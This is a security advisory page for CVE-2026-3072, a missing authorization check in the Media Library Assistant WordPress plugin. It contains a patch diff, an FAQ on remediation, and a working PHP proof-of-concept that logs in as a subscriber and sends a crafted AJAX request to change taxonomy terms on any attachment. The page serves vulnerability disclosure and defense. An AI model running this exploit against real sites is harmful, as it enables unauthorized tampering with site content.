Atomic Edge analysis of CVE-2026-3072:
The vulnerability exists in the Media Library Assistant WordPress plugin version 3.33 and earlier. The root cause is a missing capability check in the mla_update_compat_fields_action() function, which handles AJAX requests for updating attachment taxonomy terms. The function processes requests without verifying the user has appropriate edit_post permissions for the target attachment. The exploitation method involves sending a POST request to /wp-admin/admin-ajax.php with the action parameter set to mla_update_compat_fields_action. Attackers must be authenticated with at least Subscriber-level access. The request must include post_id parameter specifying the target attachment ID and compat_taxonomies parameter containing the taxonomy terms to modify. The patch adds three security checks in class-mla-media-modal-ajax.php lines 598-604. First, it verifies current_user_can(‘edit_post’, $post_id). Second, it implements check_ajax_referer() to validate the nonce. Third, it moves these checks before any data processing occurs. These changes ensure only users with edit permissions for the specific attachment can modify its taxonomy terms. If exploited, this vulnerability allows authenticated attackers with minimal privileges to arbitrarily modify taxonomy terms on any media attachment, potentially affecting site organization, search functionality, and content display.

CVE-2026-3072: Media Library Assistant <= 3.33 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Attachment Taxonomy Modification (media-library-assistant)
CVE-2026-3072
media-library-assistant
3.33
3.34
Analysis Overview
Differential between vulnerable and patched code
--- a/media-library-assistant/examples/plugins/mla-copy-item-example/mla-copy-item-example.php
+++ b/media-library-assistant/examples/plugins/mla-copy-item-example/mla-copy-item-example.php
@@ -13,7 +13,7 @@
* https://wordpress.org/support/topic/option-to-copy-an-image/
*
* @package MLA Copy Item Example
- * @version 1.01
+ * @version 1.02
*/
/*
@@ -21,7 +21,7 @@
Plugin URI: http://davidlingren.com/
Description: Adds "Copy" action to Media/Assistant submenu Bulk Actions dropdown
Author: David Lingren
-Version: 1.01
+Version: 1.02
Author URI: http://davidlingren.com/
Copyright 2016 David Lingren
@@ -406,8 +406,8 @@
unset( $_GET['post_mime_type'] );
unset( $_REQUEST['meta_query'] );
unset( $_GET['meta_query'] );
- unset( $_REQUEST['meta_slug'] );
- unset( $_GET['meta_slug'] );
+ unset( $_REQUEST['shortcode_query'] );
+ unset( $_GET['shortcode_query'] );
// Clear the "extra_nav" controls and the Search Media box
unset( $_REQUEST['m'] );
--- a/media-library-assistant/includes/class-mla-core.php
+++ b/media-library-assistant/includes/class-mla-core.php
@@ -21,7 +21,7 @@
*
* @var string
*/
- const CURRENT_MLA_VERSION = '3.33';
+ const CURRENT_MLA_VERSION = '3.34';
/**
* Current date for Development Versions, empty for production versions
@@ -1424,6 +1424,11 @@
$query['post_mime_type'] = $specification['mime']['value'];
}
+ if ( !empty( $specification['shortcode'] ) ) {
+ $shortcode_query = array( 'slug' => $slug, 'shortcode' => $specification['shortcode']['value'] );
+ $query['shortcode_query'] = $shortcode_query;
+ }
+
if ( !empty( $specification['custom'] ) ) {
$meta_query = array( 'slug' => $slug , 'relation' => 'OR', 'patterns' => array () );
switch( $specification['custom']['option'] ) {
@@ -1483,12 +1488,22 @@
}
//error_log( __LINE__ . ' MLACore::mla_parse_view_specification specification = ' . var_export( $specification, true ), 0 );
- $result = array( 'mime' => NULL, 'custom' => NULL );
+ $result = array( 'mime' => NULL, 'custom' => NULL, 'shortcode' => NULL );
// look for custom field query, must be at the end of the specification
$custom_offset = strpos( $specification, 'custom:' );
if ( false === $custom_offset ) {
- $result['mime'] = array( 'prefix' => 'mime', 'name' => '', 'value' => $specification, 'option' => '' );
+ $shortcode_offset = strpos( $specification, 'shortcode:' );
+
+ if ( false === $shortcode_offset ) {
+ $result['mime'] = array( 'prefix' => 'mime', 'name' => '', 'value' => $specification, 'option' => '' );
+ } else {
+ $result['shortcode'] = array( 'prefix' => 'shortcode', 'name' => '', 'value' => substr( $specification, $shortcode_offset ), 'option' => '' );
+ if ( 0 < $shortcode_offset ) {
+ // A MIME specification can precede the shortcode
+ $result['mime'] = array( 'prefix' => 'mime', 'name' => '', 'value' => substr( $specification, 0, $shortcode_offset - 1 ), 'option' => '' );
+ }
+ }
} else {
$result['custom'] = array( 'prefix' => 'custom', 'name' => '', 'value' => substr( $specification, $custom_offset ), 'option' => '' );
@@ -1499,6 +1514,11 @@
}
//error_log( __LINE__ . ' MLACore::mla_parse_view_specification result = ' . var_export( $result, true ), 0 );
+ if ( !empty( $result['shortcode'] ) ) {
+ $tail = substr( $result['shortcode']['value'], strlen( 'shortcode:' ) );
+ $result['shortcode']['value'] = MLAShortcode_Support::mla_validate_attributes( $tail );
+ }
+
if ( !empty( $result['custom'] ) ) {
$match_count = preg_match( '/^(.+):(.+)/', $result['custom']['value'], $matches );
$result['custom']['value'] = '';
@@ -1554,7 +1574,7 @@
foreach ( (array) $mime_types as $raw_mime_type ) {
$no_wildcards = str_replace( '*', 'X', $raw_mime_type );
$clean_mime_type = sanitize_mime_type( $no_wildcards );
- if ( $clean_mime_type != $no_wildcards ) {
+ if ( $clean_mime_type !== $no_wildcards ) {
/* translators: 1: ERROR tag 2: raw_mime_type */
$result['mime']['error'] = '<br>' . sprintf( __( '%1$s: Bad specification part "%2$s"', 'media-library-assistant' ), __( 'ERROR', 'media-library-assistant' ), $raw_mime_type );
}
--- a/media-library-assistant/includes/class-mla-data-pdf.php
+++ b/media-library-assistant/includes/class-mla-data-pdf.php
@@ -108,8 +108,11 @@
*/
private static function _parse_pdf_integer( &$source_string, $length ) {
$output = 0;
- for ($index = 0; $index < $length; ) {
- $output = ( $output << 8 ) + ord( $source_string[ $index++ ] );
+
+ if ( $length ) {
+ for ($index = 0; $index < $length; ) {
+ $output = ( $output << 8 ) + ord( $source_string[ $index++ ] );
+ }
}
return $output;
@@ -228,6 +231,8 @@
if ( empty( $xref_stream ) ) {
$length = 0;
+ } else {
+ $length = strlen( $xref_stream );
}
} else {
$length = 0;
@@ -243,13 +248,22 @@
$object_ids = array();
$subsections = explode( ' ', $index_string );
while ( 1 < count( $subsections ) ) {
- $first_object = (integer) array_shift( $subsections );
+ $first_object = (integer) array_shift( $subsections );
$object_count = (integer) array_shift( $subsections );
while ( $object_count-- ) {
$object_ids[] = $first_object++;
}
}
+ $computed_length = $length / count( $object_ids );
+
+ // Validate the stream length against the expected length; if they don't match, the stream is corrupt and will be ignored
+ if ( $entry_length !== $computed_length ) {
+ /* translators: 1: ERROR tag 2: entry length 3: computed length */
+ MLACore::mla_debug_add( sprintf( _x( '%1$s: _parse_pdf_xref_stream entry length %2$d does not match computed length %3$d.', 'error_log', 'media-library-assistant' ), __( 'ERROR', 'media-library-assistant' ), $entry_length, $computed_length ), MLACore::MLA_DEBUG_CATEGORY_METADATA );
+ return $length;
+ }
+
$xref_entries = array();
$xref_index = 0;
$offset = 0;
--- a/media-library-assistant/includes/class-mla-data-query.php
+++ b/media-library-assistant/includes/class-mla-data-query.php
@@ -363,7 +363,7 @@
* @return integer Number of attachment posts
*/
public static function mla_count_list_table_items( $request, $offset = NULL, $count = NULL ) {
- if ( NULL !== $offset && NULL !== $count ) {
+ if ( NULL !== $offset && NULL !== $count ) {
$request = self::_prepare_list_table_query( $request, $offset, $count );
$request = apply_filters( 'mla_list_table_query_final_terms', $request );
@@ -415,26 +415,20 @@
$attachments = self::$mla_list_table_items->posts;
foreach ( $attachments as $index => $attachment ) {
- /*
- * Add parent data
- */
+ // Add parent data
$parent_data = self::mla_fetch_attachment_parent_data( $attachment->post_parent );
foreach ( $parent_data as $parent_key => $parent_value ) {
$attachments[ $index ]->{$parent_key} = $parent_value;
}
- /*
- * Add meta data
- */
+ // Add meta data
$meta_data = self::mla_fetch_attachment_metadata( $attachment->ID );
foreach ( $meta_data as $meta_key => $meta_value ) {
$attachments[ $index ]->{$meta_key} = $meta_value;
}
}
- /*
- * Add references
- */
+ // Add references
self::mla_attachment_array_fetch_references( $attachments );
return $attachments;
@@ -1084,6 +1078,7 @@
break;
case 'tax_query':
case 'meta_query':
+ case 'shortcode_query':
if ( ! empty( $value ) ) {
if ( is_array( $value ) ) {
$clean_request[ $key ] = $value;
@@ -1426,6 +1421,22 @@
global $wpdb;
static $wpmf_pre_get_posts_priority = false, $wpmf_pre_get_posts1_priority = false;
+ if ( ! empty( $request['shortcode_query'] ) ) {
+ $query = $request['shortcode_query']['shortcode'];
+
+ add_shortcode( 'mla_shortcode_query', 'MLAQuery::mla_shortcode_query_shortcode' );
+
+ $query['mla_alt_shortcode'] = 'mla_shortcode_query';
+ $query['cache_results'] = false;
+ $query['update_post_meta_cache'] = false;
+ $query['update_post_term_cache'] = false;
+
+ $raw_results = MLAShortcodes::mla_gallery_shortcode( $query );
+ $request['post__in'] = explode( ',', $raw_results );
+
+ remove_shortcode( 'mla_shortcode_query' );
+ }
+
add_filter( 'posts_search', 'MLAQuery::mla_query_posts_search_filter' );
add_filter( 'posts_where', 'MLAQuery::mla_query_posts_where_filter' );
add_filter( 'posts_join', 'MLAQuery::mla_query_posts_join_filter' );
@@ -1503,6 +1514,24 @@
}
/**
+ * Intercepts results of a table view shortcode queryto apply [mla_gallery] capabilities
+ *
+ * @since 3.34
+ *
+ * @param array $attr Attributes of the shortcode
+ * @param string $content Optional content for enclosing shortcodes
+ *
+ * @return string comma-separated ID values of attachments matching the shortcode query.
+ */
+ public static function mla_shortcode_query_shortcode( $attr, $content = NULL ) {
+ if ( isset( $attr['ids']) ) {
+ return $attr['ids'];
+ }
+
+ return '';
+ }
+
+ /**
* Detects wildcard searches, i.e., containing an asterisk outside quotes
*
* Defined as public because it's a callback from array_map().
--- a/media-library-assistant/includes/class-mla-data.php
+++ b/media-library-assistant/includes/class-mla-data.php
@@ -140,7 +140,7 @@
if ( is_scalar( $value ) ) {
$value = trim( $value );
} elseif ( is_array( $value ) && 'array' === $option ) {
- // no change, return the first array found
+ // return the first embedded array found
return $value;
} elseif ( ! empty( $value ) ) {
$value = var_export( $value, true );
@@ -155,13 +155,25 @@
}
}
}
+
+ if ( 'array' === $option ) {
+ // no embedded arrays found, return the original array
+ return $element;
+ }
} elseif ( ! empty( $element ) ) {
$final[] = var_export( $element, true );
}
+ } // foreach result
+
+ // single-element array, return as string
+ if ( 1 == count( $final ) ) {
+ // Don't flatten a string value key
+ if ( isset( $final[0] ) ) {
+ $final = $final[0];
+ }
}
-
- // No arrays were found or the option was not 'array'; final contains only strings
- return implode( '', $final );
+
+ return $final;
}
/**
@@ -2865,7 +2877,7 @@
}
$results = MLAAVIF::mla_extract_AVIF_metadata( $path );
- MLACore::mla_debug_add( __LINE__ . ' mla_extract_AVIF_metadata() = ' . var_export( $results, true ), MLACore::MLA_DEBUG_CATEGORY_ANY );
+ MLACore::mla_debug_add( __LINE__ . ' mla_extract_AVIF_metadata() = ' . var_export( $results, true ), MLACore::MLA_DEBUG_CATEGORY_METADATA );
return $results;
--- a/media-library-assistant/includes/class-mla-list-table.php
+++ b/media-library-assistant/includes/class-mla-list-table.php
@@ -333,6 +333,10 @@
}
}
+ if ( isset( $_REQUEST['shortcode_query'] ) ) {
+ $submenu_arguments['shortcode_query'] = urlencode( wp_kses( wp_unslash( $_REQUEST['shortcode_query'] ), 'post' ) );
+ }
+
if ( isset( $_REQUEST['meta_query'] ) ) {
$submenu_arguments['meta_query'] = urlencode( wp_kses( wp_unslash( $_REQUEST['meta_query'] ), 'post' ) );
}
@@ -1956,11 +1960,19 @@
$query['post_mime_type'] = urlencode( $query['post_mime_type'] );
}
+ if ( isset( $query['shortcode_query'] ) ) {
+ $query['shortcode_query'] = urlencode( wp_json_encode( $query['shortcode_query'] ) );
+ }
+
if ( isset( $query['meta_query'] ) ) {
- $query['meta_slug'] = $view_slug;
$query['meta_query'] = urlencode( wp_json_encode( $query['meta_query'] ) );
}
+ // These are added automatically by mla_prepare_view_query, so they don't have to be in the URL
+ unset( $query['cache_results'] );
+ unset( $query['update_post_meta_cache'] );
+ unset( $query['update_post_term_cache'] );
+
return "<a href='" . add_query_arg( $query, $base_url ) . "'$class>" . sprintf( translate_nooped_plural( $nooped_plural, $total_items, 'media-library-assistant' ), number_format_i18n( $total_items ) ) . '</a>';
}
@@ -1985,15 +1997,22 @@
$current_view = 'mine';
} elseif ( $this->is_trash ) {
$current_view = 'trash';
- } elseif ( empty( $_REQUEST['post_mime_type'] ) ) {
+ } else {
+ $current_view = 'all';
+
+ if ( !empty( $_REQUEST['post_mime_type'] ) ) {
+ $current_view = sanitize_text_field( wp_unslash( $_REQUEST['post_mime_type'] ) );
+ }
+
+ if ( isset( $_REQUEST['shortcode_query'] ) ) {
+ $query = json_decode( wp_kses( wp_unslash( $_REQUEST['shortcode_query'] ), 'post' ), true );
+ $current_view = $query['slug'];
+ }
+
if ( isset( $_REQUEST['meta_query'] ) ) {
$query = json_decode( wp_kses( wp_unslash( $_REQUEST['meta_query'] ), 'post' ), true );
$current_view = $query['slug'];
- } else {
- $current_view = 'all';
}
- } else {
- $current_view = sanitize_text_field( wp_unslash( $_REQUEST['post_mime_type'] ) );
}
$mla_types = MLAMime::mla_query_view_items( array( 'orderby' => 'menu_order' ), 0, 0 );
--- a/media-library-assistant/includes/class-mla-media-modal-ajax.php
+++ b/media-library-assistant/includes/class-mla-media-modal-ajax.php
@@ -254,7 +254,7 @@
*/
public static function mla_attachment_fields_to_edit_filter( $form_fields, $post ) {
static $log_error = true;
-
+
$id = $post->ID;
/*
@@ -598,6 +598,12 @@
wp_send_json_error();
}
+ if ( ! current_user_can( 'edit_post', $post_id ) ) {
+ wp_send_json_error();
+ }
+
+ check_ajax_referer( MLACore::MLA_ADMIN_NONCE_ACTION, MLACore::MLA_ADMIN_NONCE_NAME );
+
if ( empty( $post ) ) {
$post = get_post( $post_id ); // for filters and wp_popular_terms_checklist
}
--- a/media-library-assistant/includes/class-mla-mime-types.php
+++ b/media-library-assistant/includes/class-mla-mime-types.php
@@ -927,9 +927,7 @@
return array ();
}
- /*
- * Sort and filter the list
- */
+ // Sort and filter the list
$keyword = isset( $request['s'] ) ? $request['s'] : '';
$index = 0;
$sorted_types = array();
@@ -1258,6 +1256,10 @@
$errors .= $result['mime']['error'];
}
+ if ( isset( $result['shortcode']['error'] ) ) {
+ $errors .= $result['shortcode']['error'];
+ }
+
if ( isset( $result['custom']['error'] ) ) {
$errors .= $result['custom']['error'];
}
--- a/media-library-assistant/includes/class-mla-options.php
+++ b/media-library-assistant/includes/class-mla-options.php
@@ -1618,8 +1618,8 @@
$iptc_value = apply_filters( 'mla_mapping_iptc_value', $iptc_value, $setting_key, $post->ID, 'iptc_exif_taxonomy_mapping', $attachment_metadata );
- if ( 'template:' == substr( $setting_value['exif_value'], 0, 9 ) ) {
- $data_value = array(
+ if ( 'template:' === substr( $setting_value['exif_value'], 0, 9 ) ) {
+ $data_value = array(
'name' => $setting_key,
'data_source' => 'template',
'meta_name' => substr( $setting_value['exif_value'], 9 ),
--- a/media-library-assistant/includes/class-mla-settings-iptc-exif-tab.php
+++ b/media-library-assistant/includes/class-mla-settings-iptc-exif-tab.php
@@ -2810,6 +2810,7 @@
$old_rule['hierarchical'] = $new_rule['hierarchical'];
$old_rule['parent'] = $new_rule['parent'];
$old_rule['delimiters'] = $new_rule['delimiters'];
+ $old_rule['option'] = $new_rule['option'];
break;
case 'custom':
$old_rule['format'] = $new_rule['format'];
--- a/media-library-assistant/includes/class-mla-thumbnail-generation.php
+++ b/media-library-assistant/includes/class-mla-thumbnail-generation.php
@@ -548,8 +548,8 @@
unset( $_GET['post_mime_type'] );
unset( $_REQUEST['meta_query'] );
unset( $_GET['meta_query'] );
- unset( $_REQUEST['meta_slug'] );
- unset( $_GET['meta_slug'] );
+ unset( $_REQUEST['shortcode_query'] );
+ unset( $_GET['shortcode_query'] );
// Clear the "extra_nav" controls and the Search Media box, too
unset( $_REQUEST['m'] );
--- a/media-library-assistant/includes/class-mla-wpml-support.php
+++ b/media-library-assistant/includes/class-mla-wpml-support.php
@@ -2148,15 +2148,28 @@
public function mla_wpml_media_view_upload_page_count_filter( $count, $lang ) {
global $sitepress;
- if ( isset( $_GET['meta_slug'] ) ) {
+ //check for custom table views
+ $current_view = '';
+
+ if ( isset( $_GET['shortcode_query'] ) ) {
+ $query = json_decode( wp_kses( wp_unslash( $_GET['shortcode_query'] ), 'post' ), true );
+ $current_view = $query['slug'];
+ }
+
+ if ( isset( $_GET['meta_query'] ) ) {
+ $query = json_decode( wp_kses( wp_unslash( $_GET['meta_query'] ), 'post' ), true );
+ $current_view = $query['slug'];
+ }
+
+ if ( ! empty( $current_view ) ) {
$save_lang = $sitepress->get_current_language();
$sitepress->switch_lang( $lang['code'] );
- $meta_view = $this->mla_list_table->mla_get_view( sanitize_text_field( wp_unslash( $_GET['meta_slug'] ) ), '' );
+ $current_view = $this->mla_list_table->mla_get_view( $current_view, '' );
$sitepress->switch_lang( $save_lang );
- if ( false !== $meta_view ) {
+ if ( false !== $current_view ) {
// extract the count value
- $href_count = preg_match( '/class="count">(([^)]*))/', $meta_view, $href_matches );
+ $href_count = preg_match( '/class="count">(([^)]*))/', $current_view, $href_matches );
if ( $href_count ) {
$count = array( $href_matches[1] );
}
--- a/media-library-assistant/index.php
+++ b/media-library-assistant/index.php
@@ -9,14 +9,14 @@
* @author David Lingren
* @copyright 2026 David Lingren
* @license GPL-2.0-or-later
- * @version 3.33
+ * @version 3.34
*/
/*
Plugin Name: Media Library Assistant
Plugin URI: http://davidlingren.com/#two
Description: Enhances the Media Library; powerful [mla_gallery] [mla_tag_cloud] [mla_term_list], [mla_custom_list], [mla_archive_list], taxonomy support, IPTC/EXIF/XMP/PDF processing, bulk/quick edit.
-Version: 3.33
+Version: 3.34
Requires at least: 4.7
Requires PHP: 7.4
Author: David Lingren
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3072 - Media Library Assistant <= 3.33 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Attachment Taxonomy Modification
<?php
$target_url = 'http://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Step 1: Authenticate to obtain WordPress cookies
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
$response = curl_exec($ch);
// Step 2: Exploit the missing capability check
// Target an arbitrary attachment ID (e.g., 123)
// Modify taxonomy terms (e.g., add 'malicious-term' to 'category' taxonomy)
$payload = [
'action' => 'mla_update_compat_fields_action',
'post_id' => 123, // Target attachment ID
'compat_taxonomies' => json_encode([
'category' => ['malicious-term'] // Taxonomy slug => array of terms
])
];
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
$response = curl_exec($ch);
// Check if exploitation succeeded
if (strpos($response, 'success') !== false || strpos($response, 'updated') !== false) {
echo "Exploitation successful. Taxonomy terms modified on attachment ID 123.n";
} else {
echo "Exploitation failed. Response: " . htmlspecialchars($response) . "n";
}
curl_close($ch);
?>
Frequently Asked Questions
What is CVE-2026-3072?
Overview of the vulnerabilityCVE-2026-3072 is a security vulnerability in the Media Library Assistant plugin for WordPress, affecting versions up to and including 3.33. It allows authenticated users with Subscriber-level access and above to modify taxonomy terms on arbitrary media attachments due to a missing authorization check.
How does this vulnerability work?
Mechanism of exploitationThe vulnerability arises from a missing capability check in the mla_update_compat_fields_action() function, which processes AJAX requests for updating attachment taxonomy terms. Attackers can exploit this by sending a POST request to the admin-ajax.php endpoint without proper permission checks.
Who is affected by this vulnerability?
Identifying vulnerable installationsAny WordPress site using the Media Library Assistant plugin version 3.33 or earlier is affected. Administrators should check their plugin version and update if necessary to mitigate risks.
How can I check if my site is vulnerable?
Steps to verify vulnerabilityTo check if your site is vulnerable, verify the version of the Media Library Assistant plugin installed. If it is version 3.33 or earlier, your site is at risk and should be updated immediately.
How can I fix this vulnerability?
Updating the pluginThe vulnerability has been patched in version 3.34 of the Media Library Assistant plugin. Administrators should update to this version or later to ensure that the missing capability check is implemented.
What does a CVSS score of 4.3 mean?
Understanding severity levelsA CVSS score of 4.3 indicates a medium severity vulnerability. This means that while the risk is not critical, it is significant enough to warrant prompt attention and remediation to prevent potential exploitation.
What are the practical risks of this vulnerability?
Potential impact on site securityIf exploited, this vulnerability allows authenticated attackers to arbitrarily modify taxonomy terms for any media attachment. This can lead to disorganization of media, altered content display, and potentially impact site functionality.
What is a proof of concept in this context?
Demonstrating the vulnerabilityThe proof of concept provided illustrates how an attacker can exploit the vulnerability by authenticating as a Subscriber and sending a crafted request to modify taxonomy terms. It serves as an educational tool for understanding the exploitation method.
What security checks were added in the patch?
Improvements in version 3.34The patch for version 3.34 adds three key security checks: it verifies that the user has edit_post permissions for the target attachment, validates the nonce with check_ajax_referer(), and ensures these checks occur before any data processing.
Can this vulnerability be exploited without authentication?
Authentication requirementsNo, this vulnerability requires the attacker to be authenticated with at least Subscriber-level access. This means that the risk is somewhat contained to users who have logged into the WordPress site.
What should I do if I cannot update the plugin immediately?
Mitigation strategiesIf immediate updating is not possible, consider temporarily disabling the Media Library Assistant plugin until a patch can be applied. Additionally, review user roles and permissions to limit access to trusted users.
How can I stay informed about future vulnerabilities?
Best practices for security awarenessTo stay informed about future vulnerabilities, subscribe to security mailing lists, follow WordPress security blogs, and regularly check the WPScan Vulnerability Database for updates on plugins and themes.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






